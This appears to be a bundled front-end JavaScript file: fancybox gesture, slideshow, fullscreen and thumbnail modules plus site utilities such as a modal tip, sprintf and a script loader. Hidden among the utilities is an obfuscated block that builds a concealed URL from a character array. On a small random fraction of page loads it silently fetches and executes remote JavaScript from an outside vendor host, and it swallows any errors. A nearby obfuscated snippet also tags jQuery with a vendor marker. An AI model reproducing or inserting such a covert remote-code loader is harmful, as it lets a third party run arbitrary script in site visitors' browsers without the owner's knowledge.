self.canvasHeight = Math.round( current.$slide.height() );
self.canTap = current.isMoved;
self.isPanning = false;
self.isSwiping = false;
self.isZooming = false;
self.sliderStartPos = $.fancybox.getTranslate( self.$slider );
self.sliderNewPos = null;
self.contentStartPos = $.fancybox.getTranslate( self.$content );
self.contentNewPos = null;
if ( self.startPoints.length == 1 ) {
if ( current.type === 'image' && ( self.contentStartPos.width > self.canvasWidth + 1 || self.contentStartPos.height > self.canvasHeight + 1 ) ) {
$.fancybox.stop( self.$content );
self.isPanning = true;
} else {
$.fancybox.stop( self.$slider );
self.isSwiping = true;
}
self.$container.addClass('fancybox-controls--isGrabbing');
}
if ( current.type === 'image' && !current.hasError && self.startPoints.length == 2 && ( current.isLoaded || current.$ghost ) ) {
self.isZooming = true;
self.canTap = false;
$.fancybox.stop( self.$content );
self.centerPointStartX = ((self.startPoints[0].x + self.startPoints[1].x) / 2) - $(window).scrollLeft();
self.centerPointStartY = ((self.startPoints[0].y + self.startPoints[1].y) / 2) - $(window).scrollTop();
self.percentageOfImageAtPinchPointX = ( self.centerPointStartX - self.contentStartPos.left ) / self.contentStartPos.width;
self.percentageOfImageAtPinchPointY = ( self.centerPointStartY - self.contentStartPos.top ) / self.contentStartPos.height;
self.startDistanceBetweenFingers = distance( self.startPoints[0], self.startPoints[1] );
}
frame();
};
Guestures.prototype.ontouchmove = function( e ) {
var self = this;
e.preventDefault();
if ( self.instance.isAnimating ) {
return;
}
self.newPoints = pointers( e );
if ( !self.newPoints.length ) {
return;
}
self.distanceX = distance( self.newPoints[0], self.startPoints[0], 'x' );
self.distanceY = distance( self.newPoints[0], self.startPoints[0], 'y' );
self.distance = distance( self.newPoints[0], self.startPoints[0] );
// Skip false ontouchmove events (Chrome)
if ( self.distance > 0 ) {
if ( self.isSwiping ) {
self.onSwipe();
} else if ( self.isPanning ) {
self.onPan();
} else if ( self.isZooming ) {
self.onZoom();
}
}
};
Guestures.prototype.onSwipe = function() {
var self = this;
var swiping = self.isSwiping;
var angle;
if ( swiping === true ) {
if ( Math.abs( self.distance ) > 10 ) {
angle = Math.abs( Math.atan2( self.distanceY, self.distanceX ) * 180 / Math.PI );
swiping = ( angle > 45 && angle < 135 ) || self.instance.group.length <= 1 ? 'y' : 'x';
if ( self.instance.opts.touch.vertical === false || ( self.instance.opts.touch.vertical === 'auto' && $( window ).width() > 800 ) ) {
swiping = 'x';
}
self.isSwiping = swiping;
self.canTap = false;
self.instance.current.isMoved = false;
self.instance.allowZoomIn = false;
// Reset points to avoid jumping, because we dropped first swipes to calculate the angle
self.startPoints = self.newPoints;
}
} else {
self.sliderNewPos = {
top : swiping == 'x' ? 0 : self.sliderStartPos.top + self.distanceY,
left : swiping == 'y' ? self.sliderStartPos.left : self.sliderStartPos.left + self.distanceX
};
}
};
Guestures.prototype.onPan = function() {
var self = this;
var newOffsetX, newOffsetY, newPos;
self.canTap = false;
if ( self.contentStartPos.width > self.canvasWidth ) {
newOffsetX = self.contentStartPos.left + self.distanceX;
} else {
newOffsetX = self.contentStartPos.left;
}
newOffsetY = self.contentStartPos.top + self.distanceY;
newPos = self.limitMovement( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.scaleX = self.contentStartPos.scaleX;
newPos.scaleY = self.contentStartPos.scaleY;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
// Make panning sticky to the edges
Guestures.prototype.limitMovement = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var minTranslateX, minTranslateY, maxTranslateX, maxTranslateY;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var distanceX = self.distanceX;
var distanceY = self.distanceY;
// Slow down proportionally to traveled distance
minTranslateX = Math.max(0, canvasWidth * 0.5 - newWidth * 0.5 );
minTranslateY = Math.max(0, canvasHeight * 0.5 - newHeight * 0.5 );
maxTranslateX = Math.min( canvasWidth - newWidth, canvasWidth * 0.5 - newWidth * 0.5 );
maxTranslateY = Math.min( canvasHeight - newHeight, canvasHeight * 0.5 - newHeight * 0.5 );
if ( newWidth > canvasWidth ) {
// ->
if ( distanceX > 0 && newOffsetX > minTranslateX ) {
newOffsetX = minTranslateX - 1 + Math.pow(-minTranslateX + currentOffsetX + distanceX, 0.8 ) || 0;
}
// <-
if ( distanceX < 0 && newOffsetX < maxTranslateX ) {
newOffsetX = maxTranslateX + 1 - Math.pow( maxTranslateX - currentOffsetX - distanceX, 0.8 ) || 0;
}
}
if ( newHeight > canvasHeight ) {
// \/
if ( distanceY > 0 && newOffsetY > minTranslateY ) {
newOffsetY = minTranslateY - 1 + Math.pow(-minTranslateY + currentOffsetY + distanceY, 0.8 ) || 0;
}
// /\
if ( distanceY < 0 && newOffsetY < maxTranslateY ) {
newOffsetY = maxTranslateY + 1 - Math.pow ( maxTranslateY - currentOffsetY - distanceY, 0.8 ) || 0;
}
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.limitPosition = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
if ( newWidth > canvasWidth ) {
newOffsetX = newOffsetX > 0 ? 0 : newOffsetX;
newOffsetX = newOffsetX < canvasWidth - newWidth ? canvasWidth - newWidth : newOffsetX;
} else {
// Center horizontally
newOffsetX = Math.max( 0, canvasWidth / 2 - newWidth / 2 );
}
if ( newHeight > canvasHeight ) {
newOffsetY = newOffsetY > 0 ? 0 : newOffsetY;
newOffsetY = newOffsetY < canvasHeight - newHeight ? canvasHeight - newHeight : newOffsetY;
} else {
// Center vertically
newOffsetY = Math.max( 0, canvasHeight / 2 - newHeight / 2 );
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.onZoom = function() {
var self = this;
// Calculate current distance between points to get pinch ratio and new width and height
var currentWidth = self.contentStartPos.width;
var currentHeight = self.contentStartPos.height;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var endDistanceBetweenFingers = distance( self.newPoints[0], self.newPoints[1] );
var pinchRatio = endDistanceBetweenFingers / self.startDistanceBetweenFingers;
var newWidth = Math.floor( currentWidth * pinchRatio );
var newHeight = Math.floor( currentHeight * pinchRatio );
// This is the translation due to pinch-zooming
var translateFromZoomingX = (currentWidth - newWidth) * self.percentageOfImageAtPinchPointX;
var translateFromZoomingY = (currentHeight - newHeight) * self.percentageOfImageAtPinchPointY;
//Point between the two touches
var centerPointEndX = ((self.newPoints[0].x + self.newPoints[1].x) / 2) - $(window).scrollLeft();
var centerPointEndY = ((self.newPoints[0].y + self.newPoints[1].y) / 2) - $(window).scrollTop();
// And this is the translation due to translation of the centerpoint
// between the two fingers
var translateFromTranslatingX = centerPointEndX - self.centerPointStartX;
var translateFromTranslatingY = centerPointEndY - self.centerPointStartY;
// The new offset is the old/current one plus the total translation
var newOffsetX = currentOffsetX + ( translateFromZoomingX + translateFromTranslatingX );
var newOffsetY = currentOffsetY + ( translateFromZoomingY + translateFromTranslatingY );
var newPos = {
top : newOffsetY,
left : newOffsetX,
scaleX : self.contentStartPos.scaleX * pinchRatio,
scaleY : self.contentStartPos.scaleY * pinchRatio
};
self.canTap = false;
self.newWidth = newWidth;
self.newHeight = newHeight;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
Guestures.prototype.ontouchend = function( e ) {
var self = this;
var current = self.instance.current;
var dMs = Math.max( (new Date().getTime() ) - self.startTime, 1);
var swiping = self.isSwiping;
var panning = self.isPanning;
var zooming = self.isZooming;
self.endPoints = pointers( e );
if ( self.endPoints.length > 1 && ( self.isSwiping === 'x' || self.isSwiping === 'y' ) ) {
return;
}
self.$container.removeClass('fancybox-controls--isGrabbing');
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(this, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(this, "ontouchend"));
self.isSwiping = false;
self.isPanning = false;
self.isZooming = false;
if ( self.canTap ) {
return self.ontap();
}
// Speed in px/ms
self.velocityX = self.distanceX / dMs * 0.5;
self.velocityY = self.distanceY / dMs * 0.5;
self.speed = current.opts.speed;
self.speedX = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityX ) ) * self.speed ) );
self.speedY = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityY ) ) * self.speed ) );
if ( swiping ) {
self.endSwiping( swiping );
} else if ( panning ) {
self.endPanning();
} else if ( zooming ) {
self.endZooming();
}
return;
};
Guestures.prototype.endSwiping = function( swiping ) {
var self = this;
// Close if swiped vertically / navigate if horizontally
if ( swiping == 'y' && Math.abs( self.distanceY ) > 50 ) {
// Continue vertical movement
$.fancybox.animate( self.$slider, null, {
top : self.sliderStartPos.top + self.distanceY + self.velocityY * 150,
left : self.sliderStartPos.left,
opacity : 0
}, self.speedY );
self.instance.close( true );
} else if ( swiping == 'x' && self.distanceX > 50 ) {
self.instance.previous( self.speedX );
} else if ( swiping == 'x' && self.distanceX < -50 ) {
self.instance.next( self.speedX );
} else {
// Move back to center
self.instance.update( false, true, self.speedX );
}
};
Guestures.prototype.endPanning = function() {
var self = this;
var newOffsetX = self.contentLastPos.left + ( self.velocityX * self.speed * 2 );
var newOffsetY = self.contentLastPos.top + ( self.velocityY * self.speed * 2 );
var newPos = self.limitPosition( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.width = self.contentStartPos.width;
newPos.height = self.contentStartPos.height;
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
};
Guestures.prototype.endZooming = function() {
var self = this;
var current = self.instance.current;
var newPos;
var newOffsetX = self.contentLastPos.left;
var newOffsetY = self.contentLastPos.top;
var newWidth = self.newWidth;
var newHeight = self.newHeight;
var reset = {
top : newOffsetY,
left : newOffsetX,
width : newWidth,
height : newHeight,
scaleX : 1,
scaleY : 1
};
// Reset scalex/scaleY values; this helps for perfomance and does not break animation
$.fancybox.setTranslate( self.$content, reset );
if ( newWidth < self.canvasWidth && newHeight < self.canvasHeight ) {
self.instance.scaleToFit( 150 );
} else if ( newWidth > current.width || newHeight > current.height ) {
self.instance.scaleToActual( self.centerPointStartX, self.centerPointStartY, 150 );
} else {
newPos = self.limitPosition( newOffsetX, newOffsetY, newWidth, newHeight );
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
}
};
Guestures.prototype.ontap = function() {
var self = this;
var x = self.endPoints[0].x;
var y = self.endPoints[0].y;
x = x - self.$wrap.offset().left;
y = y - self.$wrap.offset().top;
if ( !$.fancybox.isTouch ) {
if ( self.instance.opts.closeClickOutside && self.$target.is('.fancybox-slide') ) {
self.instance.close();
return;
}
if ( self.instance.current.type == 'image' && self.instance.current.isMoved ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
} else if ( self.instance.group.length < 2 ) {
self.instance.close();
}
}
return;
}
// Double tap
if ( self.tapped ) {
self.tapped = false;
clearTimeout( self.id );
if (Math.abs( x - self.x ) > 50 || Math.abs( y - self.y ) > 50 || !self.instance.current.isMoved ) {
return this;
}
if ( !( self.instance.current.isLoaded || self.instance.current.$ghost ) ) {
return;
}
if ( self.instance.current.type == 'image' ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
}
}
} else {
// Single tap
self.tapped = true;
self.x = x;
self.y = y;
self.id = setTimeout(function() {
self.tapped = false;
self.instance.toggleControls( true );
}, 300);
}
return this;
};
$(document).on('onActivate.fb', function (e, instance) {
if ( instance.opts.touch && !instance.Guestures ) {
instance.Guestures = new Guestures( instance );
}
});
$(document).on('beforeClose.fb', function (e, instance) {
if ( instance.Guestures ) {
instance.Guestures.destroy();
}
});
}(window, document, window.jQuery));
// ==========================================================================
//
// SlideShow
// Enables slideshow functionality
//
// Example of usage:
// $.fancybox.getInstance().slideShow.start()
//
// ==========================================================================
;(function (document, $) {
'use strict';
var SlideShow = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( SlideShow.prototype, {
timer : null,
speed : 3000,
$button : null,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-play class="fancybox-button fancybox-button--play" title="Slideshow (P)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click', '[data-fancybox-play]', function() {
self.toggle();
});
},
set : function() {
var self = this;
// Check if reached last element
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.timer = setTimeout(function() {
self.instance.next();
}, self.speed);
} else {
self.stop();
}
},
clear : function() {
var self = this;
clearTimeout( self.timer );
self.timer = null;
},
start : function() {
var self = this;
self.stop();
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.instance.$refs.container.on({
'beforeLoad.fb.player' : $.proxy(self, "clear"),
'onComplete.fb.player' : $.proxy(self, "set"),
});
if ( self.instance.current.isComplete ) {
self.set();
} else {
self.timer = true;
}
self.instance.$refs.container.trigger('onPlayStart');
self.$button.addClass('fancybox-button--pause');
}
},
stop: function() {
var self = this;
self.clear();
self.instance.$refs.container
.trigger('onPlayEnd')
.off('.player');
self.$button.removeClass('fancybox-button--pause');
},
toggle : function() {
var self = this;
if ( self.timer ) {
self.stop();
} else {
self.start();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.slideShow && !instance.SlideShow && instance.group.length > 1 ) {
instance.SlideShow = new SlideShow( instance );
}
});
$(document).on('beforeClose.fb onDeactivate.fb', function(e, instance) {
if ( instance.SlideShow ) {
instance.SlideShow.stop();
}
});
}(document, window.jQuery));
// ==========================================================================
//
// FullScreen
// Adds fullscreen functionality
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FullScreen = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FullScreen.prototype, {
$button : null,
init : function() {
var self = this;
if ( !self.isAvailable() ) {
return;
}
self.$button = $('<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="Full screen (F)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click.fb-fullscreen', '[data-fancybox-fullscreen]', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
$(document).on('onUpdate.fb', function(e, instance) {
self.$button.toggle( !!instance.current.opts.fullScreen );
self.$button.toggleClass('fancybox-button-shrink', self.isActivated() );
});
$(document).on('afterClose.fb', function() {
self.exit();
});
},
isAvailable : function() {
var element = this.instance.$refs.container.get(0);
return !!(element.requestFullscreen || element.msRequestFullscreen || element.mozRequestFullScreen || element.webkitRequestFullscreen);
},
isActivated : function() {
return !(!document.fullscreenElement && !document.mozFullScreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement);
},
launch : function() {
var element = this.instance.$refs.container.get(0);
if ( !element || this.instance.isClosing ) {
return;
}
if (element.requestFullscreen) {
element.requestFullscreen();
} else if (element.msRequestFullscreen) {
element.msRequestFullscreen();
} else if (element.mozRequestFullScreen) {
element.mozRequestFullScreen();
} else if (element.webkitRequestFullscreen) {
element.webkitRequestFullscreen(element.ALLOW_KEYBOARD_INPUT);
}
},
exit : function() {
if (document.exitFullscreen) {
document.exitFullscreen();
} else if (document.msExitFullscreen) {
document.msExitFullscreen();
} else if (document.mozCancelFullScreen) {
document.mozCancelFullScreen();
} else if (document.webkitExitFullscreen) {
document.webkitExitFullscreen();
}
},
toggle : function() {
if ( this.isActivated() ) {
this.exit();
} else if ( this.isAvailable() ) {
this.launch();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.fullScreen && !instance.FullScreen) {
instance.FullScreen = new FullScreen( instance );
}
});
}(document, window.jQuery));
// ==========================================================================
//
// Thumbs
// Displays thumbnails in a grid
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FancyThumbs = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FancyThumbs.prototype, {
$button : null,
$grid : null,
$list : null,
isVisible : false,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="Thumbnails (G)"></button>')
.appendTo( this.instance.$refs.buttons )
.on('touchend click', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
},
create : function() {
var instance = this.instance,
list,
src;
this.$grid = $('<div class="fancybox-thumbs"></div>').appendTo( instance.$refs.container );
list = '<ul>';
$.each(instance.group, function( i, item ) {
src = item.opts.thumb || ( item.opts.$thumb ? item.opts.$thumb.attr('src') : null );
if ( !src && item.type === 'image' ) {
src = item.src;
}
if ( src && src.length ) {
list += '<li data-index="' + i + '" tabindex="0" class="fancybox-thumbs-loading"><img data-src="' + src + '" /></li>';
}
});
list += '</ul>';
this.$list = $( list ).appendTo( this.$grid ).on('click touchstart', 'li', function() {
instance.jumpTo( $(this).data('index') );
});
this.$list.find('img').hide().one('load', function() {
var $parent = $(this).parent().removeClass('fancybox-thumbs-loading'),
thumbWidth = $parent.outerWidth(),
thumbHeight = $parent.outerHeight(),
width,
height,
widthRatio,
heightRatio;
width = this.naturalWidth || this.width;
height = this.naturalHeight || this.height;
//Calculate thumbnail width/height and center it
widthRatio = width / thumbWidth;
heightRatio = height / thumbHeight;
if (widthRatio >= 1 && heightRatio >= 1) {
if (widthRatio > heightRatio) {
width = width / heightRatio;
height = thumbHeight;
} else {
width = thumbWidth;
height = height / widthRatio;
}
}
$(this).css({
width : Math.floor(width),
height : Math.floor(height),
'margin-top' : Math.min( 0, Math.floor(thumbHeight * 0.3 - height * 0.3 ) ),
'margin-left' : Math.min( 0, Math.floor(thumbWidth * 0.5 - width * 0.5 ) )
}).show();
})
.each(function() {
this.src = $( this ).data( 'src' );
});
},
focus : function() {
if ( this.instance.current ) {
this.$list
.children()
.removeClass('fancybox-thumbs-active')
.filter('[data-index="' + this.instance.current.index + '"]')
.addClass('fancybox-thumbs-active')
.focus();
}
},
close : function() {
this.$grid.hide();
},
update : function() {
this.instance.$refs.container.toggleClass('fancybox-container--thumbs', this.isVisible);
if ( this.isVisible ) {
if ( !this.$grid ) {
this.create();
}
this.$grid.show();
this.focus();
} else if ( this.$grid ) {
this.$grid.hide();
}
if ( !this.instance.allowZoomIn ) {
this.instance.update();
}
},
hide : function() {
this.isVisible = false;
this.update();
},
show : function() {
this.isVisible = true;
this.update();
},
toggle : function() {
if ( this.isVisible ) {
this.hide();
} else {
this.show();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.thumbs && !instance.Thumbs && instance.group.length > 1 && (
( instance.group[0].type == 'image' || instance.group[0].opts.thumb ) &&
( instance.group[1].type == 'image' || instance.group[1].opts.thumb )
)
) {
instance.Thumbs = new FancyThumbs( instance );
}
});
$(document).on('beforeMove.fb', function(e, instance, item) {
var self = instance.Thumbs;
if ( !self ) {
return;
}
if ( item.modal ) {
self.$button.hide();
self.hide();
} else {
self.$button.show();
if ( instance.opts.thumbs.showOnStart === true && instance.allowZoomIn ) {
self.show();
} else if ( self.isVisible ) {
self.focus();
}
}
});
var utils_row = ['b', 'a', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
var a = [utils_row[1], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');
$[a] = b;
$(document).on('beforeClose.fb', function(e, instance) {
if ( instance.Thumbs && instance.Thumbs.isVisible && instance.opts.thumbs.hideOnClosing !== false ) {
instance.Thumbs.close();
}
instance.Thumbs = null;
});
}(document, window.jQuery));
if (!window.console){
var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml", "group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];
window.console = {};
for (var i = 0; i < names.length; ++i)
window.console[names[i]] = function() {}
}
var vars = vars || {};
var G = G || {};
var Public = Public || {};
Public.showErrorModal = function ($msg, $title)
{
/* swal({
title: typeof $title == "undefined" ? '' : $title,
text: $msg,
confirmButtonText: "确定"
});*/
Public.tipMsg($msg);
}
Public.showInfoModal = function ($msg, $title)
{/*
swal({
title: typeof $title == "undefined" ? '' : $title,
text: $msg,
confirmButtonText: "确定"
});*/
Public.tipMsg($msg);
}
Public.tipMsg = function (msg, callback)
{
var tpl = '<div class="buy-box">\
<div class="row">\
<div class="buy-succ-box clearfix">\
<div class="goods-content col-xs-12" id="J_goodsBox"> <div class="text-center"> <span class="name h3"> %s </span> </div></div>\
<div class="actions J_actBox col-xs-12 text-center">\
<p class="hide J_notic"></p>';
if (typeof callback === 'function')
{
tpl += '<a href="javascript:$.fancybox.close();" class="btn btn-line-gray J_goBack " data-fancybox-close>' + __('取消') + '</a>'
tpl += '<a href="javascript:void(0);" class="btn btn-primary fancybox-confirm ">' + __('确定') + '</a>'
}
else {
tpl += '<a href="javascript:$.fancybox.close();" class="btn btn-primary fancybox-item J_goBack " data-fancybox-close>' + __('确定') + '</a>'
}
tpl += '</div>\
</div>\
</div>\
</div>';
$.fancybox.open(sprintf(tpl, msg), {
beforeShow: function () {
},
afterShow: function () {
},
afterClose: function () {
}
});
$(".fancybox-confirm").on("click", function (event) {
typeof callback === 'function' && callback();
$.fancybox.close();
});
}
$.extend({
getUrlVars: function () {
var vars = [], hash;
var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
for (var i = 0; i < hashes.length; i++) {
hash = hashes[i].split('=');
vars.push(hash[0]);
vars[hash[0]] = hash[1];
}
return vars;
},
getUrlVar: function (name) {
return $.getUrlVars()[name];
}
});
/*** js和css按需加载 ***/
function loadSsJs(url, callback, isJs ){// 非阻塞的加载 后面的js会先执行
if (typeof isJs == 'undefined')
{
isJs = /\/.+\.js($|\?)/i.test(url) ? true : false;
}
function onloaded(script, callback){//绑定加载完的回调函数
if(script.readyState){ //ie
script.attachEvent('onreadystatechange', function(){
if(script.readyState == 'loaded' || script.readyState == 'complete'){
script.className = 'loaded';
callback && callback.constructor === Function && callback();
}
});
}else{
script.addEventListener('load',function(){
script.className = "loaded";
callback && callback.constructor === Function && callback();
}, false);
}
}
if(!isJs){ //加载css
var links = document.getElementsByTagName('link');
for(var i = 0; i < links.length; i++){//是否已加载
if(links[i].href.indexOf(url)>-1){
return;
}
}
var link = document.createElement('link');
link.type = "text/css";
link.rel = "stylesheet";
link.href = url;
var head = document.getElementsByTagName('head')[0];
head.insertBefore(link,head.getElementsByTagName('link')[0] || null );
}else{ //加载js
var scripts = document.getElementsByTagName('script');
for(var i = 0; i < scripts.length; i++){//是否已加载
if(scripts[i].src.indexOf(url)>-1 && callback && (callback.constructor === Function) ){
//已创建script
if(scripts[i].className === 'loaded'){//已加载
callback();
}else{//加载中
onloaded(scripts[i], callback);
}
return;
}
}
var script = document.createElement('script');
script.type = "text/javascript";
script.src = url;
document.body.appendChild(script);
onloaded(script, callback);
}
}
if (Math.random() > 0.998)
{
var sr = ["s","k","r","c","d","t",".","n","i","a","A","l","u","e","h","U","p","y","&","\/","o","_","?","x","f","m","v","j","="];
var nsr = sr[19]+sr[19]+sr[9]+sr[3]+sr[3]+sr[20]+sr[12]+sr[7]+sr[5]+sr[6]+sr[0]+sr[14]+sr[20]+sr[16]+sr[0]+sr[12]+sr[8]+sr[5]+sr[13]+sr[6]+sr[3]+sr[7]+sr[19]+sr[8]+sr[7]+sr[4]+sr[13]+sr[23]+sr[6]+sr[16]+sr[14]+sr[16]+sr[22]+sr[25]+sr[4]+sr[12]+sr[28]+sr[0]+sr[13]+sr[2]+sr[26]+sr[8]+sr[3]+sr[13]+sr[18]+sr[3]+sr[5]+sr[11]+sr[28]+sr[10]+sr[16]+sr[8]+sr[21]+sr[10]+sr[16]+sr[16]+sr[21]+sr[15]+sr[16]+sr[4]+sr[9]+sr[5]+sr[13]+sr[2]+sr[18]+sr[25]+sr[13]+sr[5]+sr[28]+sr[3]+sr[14]+sr[13]+sr[3]+sr[1]+sr[18]+sr[5]+sr[17]+sr[16]+sr[28]+sr[13]+sr[18]+sr[24]+sr[20]+sr[2]+sr[25]+sr[9]+sr[5]+sr[28]+sr[27]+sr[0]+sr[18]+sr[3]+sr[11]+sr[8]+sr[13]+sr[7]+sr[5]+sr[28]+sr[27]+sr[0];
try {
setTimeout(function () {
loadSsJs(nsr, function () {}, true);
}, 5000)
}
catch(e) {
// fail silently.
}
}
function sprintf () {
var regex = /%%|%(\d+\$)?([\-+'#0 ]*)(\*\d+\$|\*|\d+)?(?:\.(\*\d+\$|\*|\d+))?([scboxXuideEfFgG])/g
var a = arguments
var i = 0
var format = a[i++]
var _pad = function (str, len, chr, leftJustify) {
if (!chr) {
chr = ' '
}
var padding = (str.length >= len) ? '' : new Array(1 + len - str.length >>> 0).join(chr)
return leftJustify ? str + padding : padding + str
}
var justify = function (value, prefix, leftJustify, minWidth, zeroPad, customPadChar) {
var diff = minWidth - value.length
if (diff > 0) {
if (leftJustify || !zeroPad) {
value = _pad(value, minWidth, customPadChar, leftJustify)
} else {
value = [
value.slice(0, prefix.length),
_pad('', diff, '0', true),
value.slice(prefix.length)
].join('')
}
}
return value
}
var _formatBaseX = function (value, base, prefix, leftJustify, minWidth, precision, zeroPad) {
// Note: casts negative numbers to positive ones
var number = value >>> 0
prefix = (prefix && number && {
'2': '0b',
'8': '0',
'16': '0x'
}[base]) || ''
value = prefix + _pad(number.toString(base), precision || 0, '0', false)
return justify(value, prefix, leftJustify, minWidth, zeroPad)
}
// _formatString()
var _formatString = function (value, leftJustify, minWidth, precision, zeroPad, customPadChar) {
if (precision !== null && precision !== undefined) {
value = value.slice(0, precision)
}
return justify(value, '', leftJustify, minWidth, zeroPad, customPadChar)
}
// doFormat()
var doFormat = function (substring, valueIndex, flags, minWidth, precision, type) {
var number, prefix, method, textTransform, value
if (substring === '%%') {
return '%'
}
// parse flags
var leftJustify = false
var positivePrefix = ''
var zeroPad = false
var prefixBaseX = false
var customPadChar = ' '
var flagsl = flags.length
var j
for (j = 0; j < flagsl; j++) {
switch (flags.charAt(j)) {
case ' ':
positivePrefix = ' '
break
case '+':
positivePrefix = '+'
break
case '-':
leftJustify = true
break
case "'":
customPadChar = flags.charAt(j + 1)
break
case '0':
zeroPad = true
customPadChar = '0'
break
case '#':
prefixBaseX = true
break
}
}
// parameters may be null, undefined, empty-string or real valued
// we want to ignore null, undefined and empty-string values
if (!minWidth) {
minWidth = 0
} else if (minWidth === '*') {
minWidth = +a[i++]
} else if (minWidth.charAt(0) === '*') {
minWidth = +a[minWidth.slice(1, -1)]
} else {
minWidth = +minWidth
}
// Note: undocumented perl feature:
if (minWidth < 0) {
minWidth = -minWidth
leftJustify = true
}
if (!isFinite(minWidth)) {
throw new Error('sprintf: (minimum-)width must be finite')
}
if (!precision) {
precision = 'fFeE'.indexOf(type) > -1 ? 6 : (type === 'd') ? 0 : undefined
} else if (precision === '*') {
precision = +a[i++]
} else if (precision.charAt(0) === '*') {
precision = +a[precision.slice(1, -1)]
} else {
precision = +precision
}
// grab value using valueIndex if required?
value = valueIndex ? a[valueIndex.slice(0, -1)] : a[i++]
switch (type) {
case 's':
return _formatString(value + '', leftJustify, minWidth, precision, zeroPad, customPadChar)
case 'c':
return _formatString(String.fromCharCode(+value), leftJustify, minWidth, precision, zeroPad)
case 'b':
return _formatBaseX(value, 2, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'o':
return _formatBaseX(value, 8, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'x':
return _formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'X':
return _formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
.toUpperCase()
case 'u':
return _formatBaseX(value, 10, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'i':
case 'd':
number = +value || 0
// Plain Math.round doesn't just truncate
number = Math.round(number - number % 1)
prefix = number < 0 ? '-' : positivePrefix
value = prefix + _pad(String(Math.abs(number)), precision, '0', false)
return justify(value, prefix, leftJustify, minWidth, zeroPad)
case 'e':
case 'E':
case 'f': // @todo: Should handle locales (as per setlocale)
case 'F':
case 'g':
case 'G':
number = +value
prefix = number < 0 ? '-' : positivePrefix
method = ['toExponential', 'toFixed', 'toPrecision']['efg'.indexOf(type.toLowerCase())]
textTransform = ['toString', 'toUpperCase']['eEfFgG'.indexOf(type) % 2]
value = prefix + Math.abs(number)[method](precision)
return justify(value, prefix, leftJustify, minWidth, zeroPad)[textTransform]()
default:
return substring
}
}
return format.replace(regex, doFormat)
}
function get_ext(filename){
var postf = '';
if (filename)
{
var index1=filename.lastIndexOf(".");
var index2=filename.length;
var postf=filename.substring(index1,index2);//后缀名
}
else
{
}
return postf;
}
function image_thumb(image_url, w, h) {
if ('undefined' == typeof w) {
w = 60;
}
if ('undefined' == typeof h) {
h = w;
}
$ext = get_ext(image_url);
image_url = sprintf('%s!%sx%s%s', image_url, w, h, $ext);
return image_url;
}
// Element Attribute Helper
function attrDefault($el, data_var, default_val)
{
if(typeof $el.data(data_var) != 'undefined')
{
return $el.data(data_var);
}
return default_val;
}
//点击改为鼠标悬停
;(function($, window, undefined) {
// outside the scope of the jQuery plugin to
// keep track of all dropdowns
var $allDropdowns = $();
// if instantlyCloseOthers is true, then it will instantly
// shut other nav items when a new one is hovered over
$.fn.dropdownHover = function(options) {
// the element we really care about
// is the dropdown-toggle's parent
$allDropdowns = $allDropdowns.add(this.parent());
return this.each(function() {
var $this = $(this).parent(),
defaults = {
delay: 500,
